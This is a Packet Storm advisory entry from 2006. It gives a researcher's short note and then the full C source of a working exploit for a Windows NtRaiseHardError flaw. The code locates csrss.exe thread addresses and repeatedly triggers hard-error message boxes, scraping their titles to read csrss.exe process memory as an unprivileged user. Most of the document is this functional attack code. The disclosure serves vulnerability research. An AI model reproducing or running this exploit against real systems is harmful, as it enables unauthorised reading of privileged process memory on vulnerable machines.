csrssexe.txt

2006-12-28T00:00:00
ID PACKETSTORM:53301
Type packetstorm
Reporter Ruben Santamarta
Modified 2006-12-28T00:00:00

Description

                                        
                                            `  
Hi,  
  
I have been taking a look at the NtRaiseHardError bug and just for fun  
I've coded an exploit. Watch out, not for the double free vulnerability  
(indeed I have not analyzed that piece of code yet) but just relying on  
NtRaiseHardError internals and how is dispatched a MessageBox with  
MB_SERVICE_NOTIFICATION parameter enabled...  
  
In google groups there are old references for this bug as a  
DoS.Unprivileged users can exploit that bug in order to read Csrss.exe  
process memory though.  
Not a big deal, but curious at least.  
  
Tested on XP SP2 and 2K SP4 fully patched.  
  
cheers,  
Rubén.  
  
----------------------------------------------  
Direct download  
http://www.reversemode.com/index.php?option=com_remository&Itemid=2&func=fileinfo&id=43  
  
/////////////////////////////////////////  
/////////////////////////////////////////  
///// Microsoft Windows NtRaiseHardError  
///// Csrss.exe memory disclosure  
/////////////////////////////////////////  
///// Ruben Santamarta  
///// ruben at reversemode dot com  
///// www.reversemode.com  
/////////////////////////////////////////  
///// 12.27.2006  
///// For educational purposes ONLY  
///// Compiled using gcc (Dev-C++)  
////////////////////////////////////////  
  
#include <stdio.h>  
#include <windows.h>  
#include <winbase.h>  
#include <ntsecapi.h>  
  
  
#define UNICODE  
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)  
#define STATUS_SUCCESS ((NTSTATUS) 0x00000000)  
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS) 0xC0000004)  
#define STATUS_INVALID_PARAMETER ((NTSTATUS) 0xC000000D)  
#define SystemProcessesAndThreadsInformation 5  
#define NTAPI __stdcall  
  
int gLen=1;  
  
  
typedef NTSTATUS (WINAPI *PNTRAISE)(NTSTATUS,  
ULONG,  
ULONG,  
PULONG,  
UINT,  
PULONG);  
  
  
typedef LONG NTSTATUS;  
typedef LONG KPRIORITY;  
  
typedef struct _CLIENT_ID {  
DWORD UniqueProcess;  
DWORD UniqueThread;  
} CLIENT_ID, * PCLIENT_ID;  
  
  
typedef struct _VM_COUNTERS {  
SIZE_T PeakVirtualSize;  
SIZE_T VirtualSize;  
ULONG PageFaultCount;  
SIZE_T PeakWorkingSetSize;  
SIZE_T WorkingSetSize;  
SIZE_T QuotaPeakPagedPoolUsage;  
SIZE_T QuotaPagedPoolUsage;  
SIZE_T QuotaPeakNonPagedPoolUsage;  
SIZE_T QuotaNonPagedPoolUsage;  
SIZE_T PagefileUsage;  
SIZE_T PeakPagefileUsage;  
} VM_COUNTERS;  
  
  
typedef struct _SYSTEM_THREAD_INFORMATION {  
LARGE_INTEGER KernelTime;  
LARGE_INTEGER UserTime;  
LARGE_INTEGER CreateTime;  
ULONG WaitTime;  
PVOID StartAddress;  
CLIENT_ID ClientId;  
KPRIORITY Priority;  
KPRIORITY BasePriority;  
ULONG ContextSwitchCount;  
LONG State;  
LONG WaitReason;  
} SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION;  
  
  
  
typedef struct _SYSTEM_PROCESS_INFORMATION {  
ULONG NextEntryDelta;  
ULONG ThreadCount;  
ULONG Reserved1[6];  
LARGE_INTEGER CreateTime;  
LARGE_INTEGER UserTime;  
LARGE_INTEGER KernelTime;  
UNICODE_STRING ProcessName;  
KPRIORITY BasePriority;  
ULONG ProcessId;  
ULONG InheritedFromProcessId;  
ULONG HandleCount;  
ULONG Reserved2[2];  
VM_COUNTERS VmCounters;  
IO_COUNTERS IoCounters;  
SYSTEM_THREAD_INFORMATION Threads[5];  
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;  
  
  
  
typedef DWORD (WINAPI* PQUERYSYSTEM)(UINT, PVOID, DWORD,PDWORD);  
  
  
ULONG GetCsrssThread()  
{  
ULONG cbBuffer = 0x5000;  
ULONG tPointer;  
LPVOID pBuffer = NULL;  
NTSTATUS Status;  
PCWSTR pszProcessName;  
DWORD junk;  
ULONG ThreadCount;  
int i=0,b=0;  
  
PQUERYSYSTEM NtQuerySystemInformation;  
PSYSTEM_THREAD_INFORMATION pThreads;  
PSYSTEM_PROCESS_INFORMATION pInfo ;  
  
NtQuerySystemInformation = (PQUERYSYSTEM) GetProcAddress( LoadLibrary(  
"ntdll.dll" ),  
"NtQuerySystemInformation" );  
  
  
do  
{  
pBuffer = malloc(cbBuffer);  
if (pBuffer == NULL)  
{  
printf(("Not enough memory\n"));  
break;  
}  
  
Status = NtQuerySystemInformation(  
SystemProcessesAndThreadsInformation,  
pBuffer, cbBuffer, NULL);  
  
if (Status == STATUS_INFO_LENGTH_MISMATCH)  
{  
free(pBuffer);  
cbBuffer *= 2;  
}  
else if (!NT_SUCCESS(Status))  
{  
printf("NtQuerySystemInformation Error! ");  
free(pBuffer);  
}  
  
} while (Status == STATUS_INFO_LENGTH_MISMATCH);  
  
  
pInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer;  
  
for (;;)  
{  
  
  
if (pInfo->NextEntryDelta == 0)  
break;  
if(pInfo->ProcessName.Buffer!=NULL &&  
!wcsicmp(pInfo->ProcessName.Buffer,L"csrss.exe"))  
{  
  
printf("\n[%ws] \n\n", pInfo->ProcessName.Buffer);  
printf("5 addresses for testing purposes\n\n");  
for(b=0;b<5;b++)  
{  
printf("Thread %d ->  
0x%x\n",b,pInfo->Threads[b].StartAddress);   
}  
tPointer=(ULONG)pInfo->Threads[1].StartAddress;  
}  
pInfo = (PSYSTEM_PROCESS_INFORMATION)(((PUCHAR)pInfo)  
+ pInfo->NextEntryDelta);  
}  
  
free(pBuffer);  
return tPointer;  
}  
  
VOID WINAPI ReadBox( LPVOID param )  
{  
  
HWND hWindow,hButton,hText;  
int i=0,b=0;  
int gTemp;  
char lpTitle[300];  
char lpText[300];  
char lpBuff[500];  
  
for (;;)  
{  
  
lpText[0]=(BYTE)"";  
Sleep(800);  
hWindow = FindWindow("#32770",NULL);  
if(hWindow != NULL)  
{  
GetWindowText(hWindow,(LPSTR)&lpTitle,250);  
  
hText=FindWindowEx(hWindow,0,"static",0);  
  
GetWindowText(hText,(LPSTR)&lpText,250);  
hText=GetNextWindow(hText,GW_HWNDNEXT);  
  
GetWindowText(hText,(LPSTR)&lpText,250);  
gTemp = strlen(lpTitle);  
  
if ( gTemp>1 ) gLen = gTemp;  
else gLen = 1;  
  
for(i = 0; i < gTemp; i++) printf("%.2X",(BYTE)lpTitle[i]);  
  
  
SendMessage(hWindow,WM_CLOSE,0,0);  
  
ZeroMemory((LPVOID)lpTitle,250);  
ZeroMemory((LPVOID)lpText,250);  
ZeroMemory((LPVOID)lpBuff,300);  
}  
  
}  
}  
  
  
  
  
int main()  
{  
  
UNICODE_STRING uStr={5,5,L"fun!"};  
ULONG retValue,args[]={0,0,&uStr};  
ULONG csAddr;  
PNTRAISE NtRaiseHardError;  
int i=0;  
  
system("cls");  
printf("##########################################\n");  
printf("### Microsoft Windows NtRaiseHardError ###\n");  
printf("##### Csrss.exe memory disclosure ######\n");  
printf("@@@@@ Xmas Exploit - ho ho ho! @@@@@@\n");  
printf("## Ruben Santamarta www.reversemode.com ##\n");  
printf("##########################################\n\n");  
  
NtRaiseHardError=(PNTRAISE)GetProcAddress(GetModuleHandle("ntdll.dll"),  
"NtRaiseHardError");  
  
csAddr=GetCsrssThread();  
  
args[0]=csAddr;  
args[1]=csAddr;  
printf("\n[+] Capturing Messages \n");  
  
CreateThread( NULL,  
0,  
(LPTHREAD_START_ROUTINE)ReadBox,  
0,  
0,  
NULL);  
  
  
  
printf("\n[+] Now reading at: [0x%p] - Thread 1\n\n",csAddr);   
  
for(;;)  
{  
printf("Reading bytes at [0x%p] : ",args[0]);  
NtRaiseHardError(0x50000018,3,4,args,1,&retValue);  
  
if(retValue && gLen<=1) printf("00\n");  
else printf("\n");  
  
args[0]+=gLen;  
args[1]+=gLen;  
}  
}  
  
`